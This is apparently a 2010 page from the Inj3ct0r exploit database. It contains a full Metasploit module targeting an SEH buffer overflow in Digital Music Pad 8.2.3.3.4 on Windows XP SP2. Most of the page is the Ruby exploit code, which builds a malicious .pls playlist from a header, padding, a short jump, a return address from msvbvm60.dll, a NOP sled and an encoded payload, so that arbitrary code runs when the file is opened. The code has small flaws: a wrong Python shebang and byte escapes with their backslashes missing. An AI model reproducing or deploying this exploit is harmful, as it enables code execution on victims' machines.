[remote exploits] - Digital Music Pad Version 8.2.3.3.4 SEH
Posted on 27 September 2010
<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Strict//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd'><html xmlns='http://www.w3.org/1999/xhtml'><head><meta http-equiv='Content-Type' content='text/html; charset=utf-8' /><meta http-equiv='Content-Language' content='en' /><title>Digital Music Pad Version 8.2.3.3.4 SEH overflow Metasploit Module | Inj3ct0r - exploit database : vulnerability : 0day : shellcode</title><meta name='description' content='Date: 27 Sep 2010 | Exploit category: remote exploits | Exploit author: Abhishek Lyall | Inj3ct0r - exploit database : vulnerability : 0day : shellcode' /><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon' /><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss' /><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></head><body><pre>================================================================== Digital Music Pad Version 8.2.3.3.4 SEH overflow Metasploit Module ================================================================== #Digital Music Pad Version 8.2.3.3.4 SEH overflow Metasploit Module #Author Abhishek Lyall - abhilyall[at]gmail[dot]com, info[at]aslitsecurity[dot]com #Web - http://www.aslitsecurity.com/ #Blog - http://www.aslitsecurity.blogspot.com/ #Download Vulnerable application from http://www.e-soft.co.uk/DigitalMusicPad82334Setup.exe #Vulnerable versionDigital Music Pad Version 8.2.3.3.4 #Tested on XP SP2 #Greets Corelan Team, Puneet Jain ASL IT SECURITY TEAM #!/usr/bin/python require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'Digital Music Pad Version 8.2.3.3.4 SEH overflow', 'Description' => %q{ This module exploits a buffer overflow in Digital Music Pad Version 8.2.3.3.4 When opening a malicious pls file with the Digital Music Pad, a remote attacker could overflow a buffer and execute arbitrary code. }, 'License' => MSF_LICENSE, 'Author' => 'Abhishek Lyall', 'References' => [ [ 'OSVDB', '' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 4720, 'BadChars' => "x00x20x0ax0d", 'DisableNops' => 'True', }, 'Platform' => 'win', 'Targets' => [ [ 'Windows XP SP2', { 'Ret' => 0x73421DEF} ], # p/p/r msvbvm60.dll ], 'Privileged' => false, 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [ false, 'The file name.', 'msf.pls']), ], self.class) end def exploit sploit = "x5Bx70x6Cx61x79x6Cx69x73x74x5Dx0Dx0Ax46x69x6Cx65x31x3D" #PLS Header sploit << rand_text_alphanumeric(260) sploit << "xebx06x90x90" # short jump 6 bytes sploit << [target.ret].pack('V') sploit << "x90" * 12 # nop sled sploit << payload.encoded sploit << "x90" * (4720 - payload.encoded.length) print_status("Creating '#{datastore['FILENAME']}' file ...") file_create(sploit) end # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-09-27]</pre></body></html>